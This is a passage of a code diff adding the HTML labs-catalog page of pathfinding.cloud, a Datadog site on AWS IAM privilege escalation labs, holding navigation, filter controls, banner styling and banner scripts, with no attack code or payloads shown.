+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-target-filter">
+                <button class="filter-pill" data-filter="target-filter" type="button"><span class="filter-pill-key">Target</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-target-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="to-admin">Admin</div>
+                    <div class="filter-pill-item" data-value="to-bucket">Bucket</div>
+                </div>
+                <select id="target-filter" hidden>
+                    <option value="">All Targets</option>
+                    <option value="to-admin">Admin</option>
+                    <option value="to-bucket">Bucket</option>
+                </select>
+            </div>
+
+            <button id="reset-filters" class="filter-reset-btn" type="button">Reset</button>
+        </div>
+    </nav>
+
+    <style>
+        /* ── Getting Started CTA banner ── */
+        .gs-cta-banner {
+            display: none; /* shown by JS only if not dismissed */
+            position: relative;
+            border-radius: 12px;
+            border: 1px solid var(--border-color);
+            overflow: hidden;
+            margin-bottom: 20px;
+            background: var(--card-background);
+            transition: border-color 0.15s;
+        }
+        .gs-cta-banner:hover {
+            border-color: var(--accent-color);
+        }
+        .gs-cta-content-link {
+            display: grid;
+            grid-template-columns: 500px 1fr;
+            text-decoration: none;
+            color: inherit;
+        }
+        .gs-cta-text {
+            padding: 22px 52px 22px 24px; /* right pad leaves room for dismiss btn */
+            display: flex;
+            flex-direction: column;
+            justify-content: center;
+            gap: 5px;
+        }
+        .gs-cta-eyebrow {
+            font-size: 0.88rem;
+            font-weight: 700;
+            text-transform: uppercase;
+            letter-spacing: 0.1em;
+            color: var(--accent-color);
+        }
+        .gs-cta-title {
+            font-size: 1.05rem;
+            font-weight: 700;
+            color: var(--text-primary);
+            line-height: 1.2;
+        }
+        .gs-cta-desc {
+            font-size: 0.85rem;
+            color: var(--text-secondary);
+            line-height: 1.55;
+            max-width: 480px;
+        }
+        .gs-cta-action {
+            margin-top: 4px;
+            font-size: 0.82rem;
+            font-weight: 600;
+            color: var(--accent-color);
+            display: flex;
+            align-items: center;
+            gap: 5px;
+        }
+        .gs-cta-visual {
+            position: relative;
+            overflow: hidden;
+            height: 200px;
+            align-self: start;
+            border-left: 1px solid var(--border-color);
+            transition: border-left-color 0.15s;
+        }
+        .gs-cta-banner:hover .gs-cta-visual {
+            border-left-color: var(--accent-color);
+        }
+        .gs-cta-visual canvas {
+            display: block;
+            width: 100%;
+            height: 100%;
+        }
+        .gs-cta-dismiss {
+            position: absolute;
+            top: 10px;
+            right: 10px;
+            width: 26px;
+            height: 26px;
+            border-radius: 50%;
+            border: 1px solid var(--border-color);
+            background: var(--card-background);
+            color: var(--text-muted);
+            cursor: pointer;
+            display: flex;
+            align-items: center;
+            justify-content: center;
+            font-size: 1rem;
+            line-height: 1;
+            transition: background 0.15s, color 0.15s, border-color 0.15s;
+            z-index: 10;
+        }
+        .gs-cta-dismiss:hover {
+            background: var(--background-elevated);
+            color: var(--text-primary);
+            border-color: var(--text-muted);
+        }
+        @media (max-width: 640px) {
+            .gs-cta-content-link {
+                grid-template-columns: 1fr;
+            }
+            .gs-cta-visual { display: none; }
+        }
+    </style>
+
+    <main class="container">
+        <!-- List View -->
+        <div id="list-view">
+
+            <!-- Getting Started CTA (dismissed via localStorage) -->
+            <div id="gs-cta-banner" class="gs-cta-banner">
+                <a href="/labs/getting-started/" class="gs-cta-content-link">
+                    <div class="gs-cta-text">
+                        <div class="gs-cta-eyebrow">New here?</div>
+                        <div class="gs-cta-desc">The getting started guide covers AWS account prerequisites and setup, plabs binary installation and configuration, and suggests the first six labs — chosen to help you build a working mental model of AWS IAM privilege escalation before you explore the full catalog.</div>
+                        <div class="gs-cta-action">
+                            View the guide
+                            <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/></svg>
+                        </div>
+                    </div>
+                    <div class="gs-cta-visual">
+                        <canvas id="gs-cta-canvas" aria-label="Interactive attack path map preview"></canvas>
+                    </div>
+                </a>
+                <button class="gs-cta-dismiss" id="gs-cta-dismiss" aria-label="Dismiss getting started banner">
+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
